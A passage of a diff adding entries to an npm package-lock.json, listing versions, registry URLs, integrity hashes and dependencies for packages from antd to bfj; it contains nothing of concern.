"https://registry.npmjs.org/antd/-/antd-5.29.3.tgz", + "integrity": "sha512-3DdbGCa9tWAJGcCJ6rzR8EJFsv2CtyEbkVabZE14pfgUHfCicWCj0/QzQVLDYg8CPfQk9BH7fHCoTXHTy7MP/A==", + "license": "MIT", + "dependencies": { + "@ant-design/colors": "^7.2.1", + "@ant-design/cssinjs": "^1.23.0", + "@ant-design/cssinjs-utils": "^1.1.3", + "@ant-design/fast-color": "^2.0.6", + "@ant-design/icons": "^5.6.1", + "@ant-design/react-slick": "~1.1.2", + "@babel/runtime": "^7.26.0", + "@rc-component/color-picker": "~2.0.1", + "@rc-component/mutate-observer": "^1.1.0", + "@rc-component/qrcode": "~1.1.0", + "@rc-component/tour": "~1.15.1", + "@rc-component/trigger": "^2.3.0", + "classnames": "^2.5.1", + "copy-to-clipboard": "^3.3.3", + "dayjs": "^1.11.11", + "rc-cascader": "~3.34.0", + "rc-checkbox": "~3.5.0", + "rc-collapse": "~3.9.0", + "rc-dialog": "~9.6.0", + "rc-drawer": "~7.3.0", + "rc-dropdown": "~4.2.1", + "rc-field-form": "~2.7.1", + "rc-image": "~7.12.0", + "rc-input": "~1.8.0", + "rc-input-number": "~9.5.0", + "rc-mentions": "~2.20.0", + "rc-menu": "~9.16.1", + "rc-motion": "^2.9.5", + "rc-notification": "~5.6.4", + "rc-pagination": "~5.1.0", + "rc-picker": "~4.11.3", + "rc-progress": "~4.0.0", + "rc-rate": "~2.13.1", + "rc-resize-observer": "^1.4.3", + "rc-segmented": "~2.7.0", + "rc-select": "~14.16.8", + "rc-slider": "~11.1.9", + "rc-steps": "~6.0.1", + "rc-switch": "~4.1.0", + "rc-table": "~7.54.0", + "rc-tabs": "~15.7.0", + "rc-textarea": "~1.10.2", + "rc-tooltip": "~6.4.0", + "rc-tree": "~5.13.1", + "rc-tree-select": "~5.27.0", + "rc-upload": "~4.11.0", + "rc-util": "^5.44.4", + "scroll-into-view-if-needed": "^3.1.0", + "throttle-debounce": "^5.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/ant-design" + }, + "peerDependencies": { + "react": ">=16.9.0", + "react-dom": ">=16.9.0" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/anymatch/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/aria-query": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", + "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "dequal": "^2.0.3" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/array-includes": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", + "is-string": "^1.1.1", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.findlast": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", + "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlastindex": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", + "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-shim-unscopables": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.reduce": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.8.tgz", + "integrity": "sha512-DwuEqgXFBwbmZSRqt3BpQigWNUoqw9Ml2dTWdF3B2zQlQX4OeUE0zyuzX0fX0IbTvjdkZbcBTU3idgpO78qkTw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-array-method-boxes-properly": "^1.0.0", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "is-string": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz", + "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3", + "es-errors": "^1.3.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", + "dev": true, + "license": "MIT" + }, + "node_modules/ast-types-flow": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz", + "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/autoprefixer": { + "version": "10.4.27", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.27.tgz", + "integrity": "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.1", + "caniuse-lite": "^1.0.30001774", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axe-core": { + "version": "4.11.2", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.11.2.tgz", + "integrity": "sha512-byD6KPdvo72y/wj2T/4zGEvvlis+PsZsn/yPS3pEO+sFpcrqRpX/TJCxvVaEsNeMrfQbCr7w163YqoD9IYwHXw==", + "dev": true, + "license": "MPL-2.0", + "engines": { + "node": ">=4" + } + }, + "node_modules/axios": { + "version": "1.14.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.14.0.tgz", + "integrity": "sha512-3Y8yrqLSwjuzpXuZ0oIYZ/XGgLwUIBU3uLvbcpb0pidD9ctpShJd43KSlEEkVQg6DS0G9NKyzOvBfUtDKEyHvQ==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/axobject-query": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz", + "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/babel-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz", + "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.8.0" + } + }, + "node_modules/babel-jest/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/babel-jest/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/babel-jest/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/babel-loader": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.4.1.tgz", + "integrity": "sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.4", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz", + "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.0.0", + "@types/babel__traverse": "^7.0.6" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/babel-plugin-named-asset-import": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz", + "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@babel/core": "^7.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.17", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.17.tgz", + "integrity": "sha512-aTyf30K/rqAsNwN76zYrdtx8obu0E4KoUME29B1xj+B3WxgvWkp943vYQ+z8Mv3lw9xHXMHpvSPOBxzAkIa94w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-define-polyfill-provider": "^0.6.8", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.14.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.14.2.tgz", + "integrity": "sha512-coWpDLJ410R781Npmn/SIBZEsAetR4xVi0SxLMXPaMO4lSf1MwnkGYMtkFxew0Dn8B3/CpbpYxN0JCgg8mn67g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.8", + "core-js-compat": "^3.48.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.6.8", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.8.tgz", + "integrity": "sha512-M762rNHfSF1EV3SLtnCJXFoQbbIIz0OyRwnCmV0KPC7qosSfCO0QLTSuJX3ayAebubhE6oYBAYPrBA5ljowaZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.8" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-transform-react-remove-prop-types": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz", + "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==", + "dev": true, + "license": "MIT" + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz", + "integrity": "sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32Qc4iRiz425d8vM++2fg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-import-attributes": "^7.24.7", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5" + }, + "peerDependencies": { + "@babel/core": "^7.0.0 || ^8.0.0-0" + } + }, + "node_modules/babel-preset-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz", + "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==", + "dev": true, + "license": "MIT", + "dependencies": { + "babel-plugin-jest-hoist": "^27.5.1", + "babel-preset-current-node-syntax": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-react-app": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.1.0.tgz", + "integrity": "sha512-f9B1xMdnkCIqe+2dHrJsoQFRz7reChaAHE/65SdaykPklQqhme2WaC08oD3is77x9ff98/9EazAKFDZv5rFEQg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/plugin-proposal-class-properties": "^7.16.0", + "@babel/plugin-proposal-decorators": "^7.16.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0", + "@babel/plugin-proposal-numeric-separator": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.0", + "@babel/plugin-proposal-private-methods": "^7.16.0", + "@babel/plugin-proposal-private-property-in-object": "^7.16.7", + "@babel/plugin-transform-flow-strip-types": "^7.16.0", + "@babel/plugin-transform-react-display-name": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", + "@babel/preset-env": "^7.16.4", + "@babel/preset-react": "^7.16.0", + "@babel/preset-typescript": "^7.16.0", + "@babel/runtime": "^7.16.3", + "babel-plugin-macros": "^3.1.0", + "babel-plugin-transform-react-remove-prop-types": "^0.4.24" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.10.13", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.13.tgz", + "integrity": "sha512-BL2sTuHOdy0YT1lYieUxTw/QMtPBC3pmlJC6xk8BBYVv6vcw3SGdKemQ+Xsx9ik2F/lYDO9tqsFQH1r9PFuHKw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.cjs" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==", + "dev": true, + "license": "MIT" + }, + "node_modules/bfj": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.1.0.tgz", + "integrity": "sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==", + "dev": true, + "license": "MIT", + "dependencies": { + 